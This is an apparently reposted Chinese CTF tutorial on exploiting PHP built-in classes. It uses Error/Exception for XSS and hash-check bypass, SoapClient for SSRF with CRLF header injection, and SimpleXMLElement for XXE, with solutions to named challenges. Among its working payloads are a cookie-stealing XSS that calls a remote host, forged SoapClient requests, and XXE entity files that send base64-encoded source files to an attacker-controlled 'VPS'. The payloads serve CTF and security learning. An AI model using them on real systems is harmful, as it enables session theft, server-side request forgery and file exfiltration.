浅谈php原生类的利用 2(ErrorSoapClientSimpleXMLElement)

news2024/9/21 14:37:11

除了上篇文章浅谈 php原生类的利用 1(文件操作类)_php spl原生类_葫芦娃42的博客-CSDN博客 里提到的原生利用文件操作类读文件的功能,在CTF题目中,还可以利用php原生类来进行XSS,反序列化,SSRF,XXE。

常用内置类:

DirectoryIterator FilesystemIterator GlobIterator
SplFileObject SplFileinfo

Error Exception
SoapClient
SimpleXMLElement

目录

<1> Error/Exception内置类

(1) 利用 Error/Exception 进行xss

 例题: [BJDCTF 2nd]xss之光

(2) 利用 Error/Exception 内置类进行hash绕过

例题:[2020 极客大挑战]Greatphp

<2> SoapClient内置类

(1) 利用SoapClient内置类进行SSRF

例题:[LCTF]bestphp‘s revenge

SoapClient触发反序列化导致ssrf

serialize_hander处理session方式不同导致session注入

crlf漏洞

 <3> SimpleXMLElement 内置类

(1) 利用SimpleXMLElement 进行xxe

例题:SUCTF2018-Homework


<1> Error/Exception内置类

使用条件:

  • 适用于php7版本
  • 在开启报错的情况下

(1) 利用 Error/Exception 进行xss

Error能实现xss的原因:

    是Error中有个__toString(),当对象被当作一个字符串使用时进行默认调用。而且我们能想办法控制它的内容,在配合<script></script>标签就能实现到xss。包括但不仅限于echo ,还有file_exist()判断也会进行触发

而因为Error可以传两个参数,有个参数值的不同则对象不同也就不相等,但对由于__toString()返回的值相同md5和sha1加密后也相同,最后得到的数据也是一样的,所以可以达到hash绕过

我们本地php_study 开启一个环境,test.php如下

<?php
$a = unserialize($_GET['1vxyz']);
echo $a;
?> 

这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类,这就遇到了一个反序列化但没有POP链的情况,没学过Error类的话就不知道该干嘛了,这里我们可以找到PHP内置类来进行反序列化

poc.php:

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

得到的序列化数据传入1vxyz中,可以看见触发了xss

Exception继承了Error类,原理&用法同Error

 例题: [BJDCTF 2nd]xss之光

.git文件泄露 ,得到源码:

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

看完上面介绍之后,很明显可以看出来存在xss漏洞,可以利用Error内置类构造<script></script>语句

一般xss的题 flag都是在cookie里,所以我们利用XSS把cookie带出来

poc.php如下:

<?php
$a = new Exception("<script>window.open('http://de3fdab3-f123-a4d4-b44k-aea15634d2.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($a));
?>

(2) 利用 Error/Exception 内置类进行hash绕过

Error&Exception原生类不止可以xss,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较

在Error和Exception这两个PHP原生类中有 __toString 方法,这个方法用于将异常或错误对象转换为字符串

尝试触发Error的__toString()

发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”)

我们再加上一个试一试

<?php
highlight_file(__FILE__);
$a = new Error("null",1);$b = new Error("null",1);
echo $a;
echo $b;

 $a$b 这两个new出来的Error对象本身是不同的,但是 当对象被当作字符串操作时,触发__toString 方法返回的结果是相同的。

<?php
highlight_file(__FILE__);
$a = new Error("null",1);$b = new Error("null",1);
if($a!==$b && md5($a)===md5($b) && sha1($a)===sha1($b))
    echo "Success!"; 

因此,利用Error和Exception类的这一点可以绕过在PHP类中的哈希比较

 注:由于报错信息包含当前的错误信息(”payload”)以及当前报错的行号(”2”) 。因此我们的$a 与 $b必须是在同一行,否则无法满足 md5($a)===md5($b).  同时,如果是 != 而不是!==强比较的话,还需要满足 new Error("null",1) 不同,另一个应该是 new Error("null",2). 这个是对象之间比较的一些个问题,大家自己测试一下即可理解。

例题:[2020 极客大挑战]Greatphp

 进入题目环境,得到源码:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

我们要满足

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);

执行到 eval($this-syc);  可以用Error类进行hash绕过 。且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法  因而我们可以传入 $this->syc=new Error("php代码",1); 去执行命令

由于题目用preg_match 过滤了括号,引号。无法调用函数,所以我们尝试直接 include "/flag" 将flag包含出来。用取反绕过即可

poc.php 如下:

<?php

class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}
#/flag 取反后urlencode 为%D0%99%93%9E%98
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/* 
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";    
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

 

注:此文件路径及名称也会在Error的返回中,所以不能包含() 不然无法绕过

<2> SoapClient内置类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端

该内置类有一个 __call 方法__call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发

该类的构造函数如下:

PHP
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间

(1) 利用SoapClient内置类进行SSRF

我们在自己服务器上nc 监听一个端口

<?php
$a = new SoapClient(null,array('location'=>'http://vpsip:port/', 'uri'=>'hello'));
$b = serialize($a);
$c = unserialize($b);
$c->not-exists();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

 可以发现成功发送数据包,如果存在CRLF漏洞,我们还可以控制User-Agent 伪造http报文(加入自己设置的cookie等)

也可以伪造redis命令,用http协议去打redis了

 对于发送POST数据包,Content-Type 的值我们要设置为 application/x-www-form-urlencoded,而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n,其他间隔\r\n。 因此脚本可以修改为如下:

<?php
$target = 'http://ip:port/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=hjka6sd57fdsgy6fdsgg'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'1vxyz^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
#echo $b;
$c = unserialize($b);
$c->not_exists();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

 成功发送post数据包。

例题:[LCTF]bestphp‘s revenge

题目用到知识点:

  • SoapClient触发反序列化导致ssrf

  • serialize_hander处理session方式不同导致session注入

  • crlf漏洞

进去题目得到源码:

//index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
//flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }

接下来我们进行代码审计:

call_user_func 函数:

         把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调.

通过flag.php 可知:需要构造ssrf去访问flag.php,然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。

  • 首先可以f 传入extract 从而造成变量覆盖。
  • 这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如本题中可以先 f 传 extract 将b覆盖成call_user_func()。$a为数组 其第一个参数reset($_SESSION)就是$_SESSION['name'],可控。  SoapClient原生类可以触发SSRF
  • 因此 我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')), 最终call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求

SoapClient的内容怎么控制呢,poc:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",
    'uri' => "hello"));
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll

这里还涉及到 CRLF 漏洞  CRLF是”回车+换行”(\r\n)的简称

这个poc就是利用crlf伪造请求去访问flag.php flag.php执行满足$_SERVER["REMOTE_ADDR"]==="127.0.0.1" 会将flag保存在cookie为PHPSESSID=aaaaaaaa的$SESSION数组中,$SESSION会以序列化形式存在于服务器上临时生成的sess_sessid文件中。之后我们可以var_dump($SESSION); 更改sessionid为此sessionid来输出出来flag。

当存储是php_serialize处理,然后调用时php去处理。可以触发session反序列化。具体原理可以查看前面写的 session反序列化原理:php-session反序列化_葫芦娃42的博客-CSDN博客

我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有类似的方法,利用回调函数调用session_start函数,修改session的位置,再配合LFI进行getshell。

不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎,ini_set不支持数组传参,而session_start是数组传参,正好对应$_POST

生成payload:|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%221vxyz%0D%0ACookie%3A+PHPSESSID%3Daaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

首先传入 GET: f=session_start&name= 上面的payload   POST: serialize_handler=php_serialize

然后传入 GET: f=extract&name=SoapClient    POST: b=call_user_func

 更改 PHPSESSID为 aaaaaaaa  正常访问 执行 var_dump($SESSION) 得到flag

 <3> SimpleXMLElement 内置类

(1) 利用SimpleXMLElement 进行xxe

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

我们看一下官方文档里的解释:

 

因此,当我们将第三个参数data_is_url设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url

例题:SUCTF2018-Homework

题目分析:

 先注册账号登陆作业平台。看到一个calc计算器类。有两个按钮,一个用于调用calc类实现两位数的四则运算。另一个用于提交代码

点击CALC看一下:

 根据url参数栏以及再根据calc类里面的内容,不难判断得知,这里通过module传参去调用calc类,然后剩下3个变量是calc($args1,$method,$args2)函数中参数

suubmit.php 这里是一个上传文件的功能

 SimpleXMLElement类

 这里用到了PHP的内置类中的SimpleXMLElement类。calc($args1,$method,$args2) 其中的类与参数都是我们url栏里可控的。

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

public SimpleXMLElement::__construct(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
)

可以看到通过设置第三个参数 $dataIsURLtrue,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 $data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE

首先,我们自己在服务器vps 上构造如下evil.xml、send.xml这两个文件

evil.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % remote SYSTEM "https://VPS/send.xml">
%remote;
%all;
%send;
]>
send.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'https://VPS/?%payload;'>">

然后在url栏中构造:

/show.php?module=SimpleXMLElement&args[]=http://vps/evil.xml&args[]=2&args[]=true

查看web日志:解码得到源码,可能是环境问题或者是我本地问题,没有打通。

除了这三个内置类,还有一些内置类:ZipArchive类来删除文件 ReflectionMethod类获取注释内容 后面有机会再总结

参考: https://www.codetd.com/article/13648456

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/172205.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【SAP Abap】X档案:SAP Native SQL 简介及实现方式(EXEC SQL、ADBC、AMDP)

SAP Native SQL 简介及实现方式&#xff08;EXEC SQL、ADBC、AMDP&#xff09;1、SAP Open SQL 与 Native SQL 的特点2、Native SQL 的实现方式方式一&#xff1a;Exec SQL&#xff08;1&#xff09;获取单值&#xff08;2&#xff09;获取多行&#xff08;3&#xff09;游标应…

TCP协议的长连接和短连接详解

一 前言TCP在真正开始进行数据传输之前&#xff0c;Server 和 Client 之间必须建立一个连接。当数据传输完成后&#xff0c;双方不再需要这个连接时&#xff0c;就可以释放这个连接。TCP连接的建立是通过三次握手&#xff0c;而连接的释放是通过四次挥手。所以说&#xff0c;每…

【SpringCloud】Eureka的基本原理与使用

【SpringCloud】Eureka的基本原理与使用 一、Eureka-提供者与消费者 【问】如果服务A调用了服务B&#xff0c;而服务B又调用了服务C&#xff0c;服务B的角色是什么&#xff1f; 二、Eureka的结构和作用 什么是Eureka&#xff1f; Eureka 解决服务调用的问题 order-servic…

博物馆3d数字化全景展示设计方案

作为近几年新兴的营销方式&#xff0c;交互式营销能够让消费者对产品从主动感兴趣到互动体验&#xff0c;甚至自主自发传播&#xff0c;达到“在销售中传播&#xff0c;在传播中销售”的目的。进入数字体验经济时代&#xff0c;当3d数字化展示技术遇上传统行业&#xff0c;3d数…

Redis原理篇(三)通信协议

一、RESP协议 1、定义 Redis是一个cs架构的软件&#xff0c;通信一般分两步&#xff1a; 客户端client向服务端server发送一条命令服务端解析并执行命令&#xff0c;返回响应结果给客户端 因此客户端发送命令的格式、服务端响应结果的格式必须有一个规范&#xff0c;这个规…

HashMap源码学习:JDK1.8版本源码解析

文章导航 HashMap源码学习&#xff1a;红黑树原理详解 HashMap源码学习&#xff1a;JDK1.8版本源码解析 目录文章导航前言正文HashMap重要属性HashMap构造方法HashMap扩容方法HashMap链表迁移HashMap红黑树迁移HashMap链表转红黑树HashMap红黑树转链表HashMap添加数据HashMap移…

让你彻底明白Java SPI与SpringBoot自动配置,内附实例代码演示

一、Java SPI的概念和术语 SPI&#xff1a;全称是Service Provider Interface&#xff1a;是一种基于ClassLoader来发现并加载服务的机制 SPI由三个组件构成&#xff1a;Service、Service Provider、ServiceLoader Service&#xff1a;是一个公开的接口或抽象类&#xff0c;定…

数说菊风2022

春风传捷报&#xff0c; 梅韵贺新年&#xff01; 2022&#xff0c;已悄然划过&#xff0c; 就让我们用数字说话&#xff0c; 述说这年的精彩&#xff01; 树十大标杆案例 国际运营商战略合作——Telkomsel 携手印尼运营商Telkomsel在RCS融合通信和RTC实时音视频领域形成合…

golang入门笔记——kitex

WSL的安装 由于Kitex并不支持Linux&#xff0c;所以需要首先安装WSL2 WSL一句话来说就是微软出的一个虚拟机工具 Win11下安装WSL2的步骤为&#xff1a; 1.“开始菜单”搜索功能&#xff0c;打开“启动或关闭Window功能” 2.勾选以下功能 1.适用于Linux的Window子系统 2.虚…

qsort函数

目录1.什么是qsort函数2.实现一个qsort函数3.用qsort函数排序一个结构体4.模仿qsort的功能实现一个通用的冒泡排序1.什么是qsort函数 我们以前学习过的一些排序算法&#xff0c;如冒泡、希尔、快排等等&#xff0c;它们速度有快有满&#xff0c;但是这些排序都只能排序一种类型…

iOS 内存泄漏检测 Instruments Leaks

Xcode 中 按住 command I 或者菜单栏 Product – Profile 2. 双击 Leaks 或者按 choose&#xff0c;打开 Leaks 面板 3. 在显示的 Leaks 面板中&#xff0c;点击左上角红色点&#xff0c;即可运行内存检测。 4. 在运行过程中如果发现Leak Checks&#xff08;如图&#xff09;…

【C进阶】C进阶练习编程题

⭐博客主页&#xff1a;️CS semi主页 ⭐欢迎关注&#xff1a;点赞收藏留言 ⭐系列专栏&#xff1a;C语言进阶 ⭐代码仓库&#xff1a;C Advanced 家人们更新不易&#xff0c;你们的点赞和关注对我而言十分重要&#xff0c;友友们麻烦多多点赞&#xff0b;关注&#xff0c;你们…

关闭“此版本的Windows不再支持Microsoft Edge”提示

在Win7中&#xff0c;安装Microsoft Edge&#xff0c;升级到“109.0.1518.55 (正式版本)”后&#xff0c;打开Edge会弹出提示&#xff1a; 此版本的 Windows 不再支持 Microsoft Edge。升级到 Windows 10 或更高版本&#xff0c;以从 Microsoft Edge 获取常规功能和安全更新。 …

ESPNet: 自动驾驶领域轻量级分割模型

论文标题&#xff1a;ESPNet: Efficient Spatial Pyramid of Dilated Convolutions for Semantic Segmentation 论文地址&#xff1a;https://arxiv.org/pdf/1803.06815v2.pdf 开源地址&#xff1a; https://github.com/sacmehta/ESPNet 论文思想 ESPNet是用于语义分割的轻量…

一文弄懂Linux虚拟机网络配置

文章目录计算机网路基础网络连接模式Bridged&#xff08;桥接模式&#xff09;NAT&#xff08;地址转换模式&#xff09;Host-Only&#xff08;仅主机模式&#xff09;Linux常用网络相关命令ifconfig&#xff1a;配置网络接口ping&#xff1a;测试主机之间网络连通性修改ip地址…

Threejs 导入动态模型 - 兔子岛

Threejs 动画模型GLTF加载器&#xff08;GLTFLoader&#xff09; glTF&#xff08;gl传输格式&#xff09;是一种开放格式的规范 &#xff08;open format specification&#xff09;&#xff0c; 用于更高效地传输、加载3D内容。该类文件以JSON&#xff08;.gltf&#xff09;…

产品心理学:福格行为模型详解与应用

​Fogg说人的行为由动机&#xff0c;能力和触发条件这三要素组成&#xff0c;这三个同时都满足时行为才会发生。用一个等式来简化就是&#xff1a; BMAT 其中B是Behavior行为&#xff0c;M是Motivation 动机&#xff0c;A是Ability能力&#xff0c;T是Triggers触发。 行为的发…

“华为杯”研究生数学建模竞赛2004年-【华为杯】B题:实用下料的数学模型(附优秀论文)

赛题描述 “下料问题(cutting stock problem)”是把相同形状的一些原材料分割加工成若干个不同规格大小的零件的问题,此类问题在工程技术和工业生产中有着重要和广泛的应用. 这里的“实用下料问题”则是在某企业的实际条件限制下的单一材料的下料问题。 一个好的下料方案首先…

JavaEE4-Spring使用

目录 1.存储Bean对象到Spring容器中 1.1.创建Bean 1.2.将Bean注册到Spring容器中 1.2.1.第一次存储Bean&#xff08;可选&#xff0c;如果是第二次及以后&#xff0c;此步骤忽略&#xff09; 1.2.2.添加Bean标签 2.从Spring容器中获取并使用Bean对象 2.1.创建Spring上下…

ADC架构_Flash

ADC架构_Flash 比较器做1位ADC Vin > Vref Vout High&#xff08;1&#xff09; Vin < Vref Vout Low&#xff08;0&#xff09; 比较器是组建集成ADC的内部基本而又关键的模块&#xff1b;在比较器应用在ADC中一般要求很高的分辨率&#xff0c;也就是很小的差分输…